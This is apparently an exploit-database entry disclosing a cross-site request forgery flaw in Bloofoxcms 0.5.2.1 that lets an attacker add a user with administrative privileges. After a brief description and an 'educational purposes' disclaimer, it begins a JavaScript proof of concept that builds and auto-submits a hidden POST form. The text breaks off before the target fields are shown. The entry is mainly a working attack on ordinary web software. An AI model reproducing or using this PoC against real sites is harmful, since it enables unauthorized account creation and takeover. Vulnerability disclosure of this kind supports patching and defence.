Exploits / Vulnerability Discovered : 2021-02-01 |
Type : webapps |
Platform : php
This exploit / vulnerability Bloofoxcms 0.5.2.1 csrf (add user) is for educational purposes only and if it is used you will do on your own risk!
#Desc: The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site
###PoC
<script type="text/javascript">
function post(url,fields)
{
var p = document.createElement("form");
p.action = url;
p.innerHTML = fields;
p.target = "_self";
p.method = "post";
document.body.appendChild(p);
p.submit();
}
function csrf_hack()
{
var fields;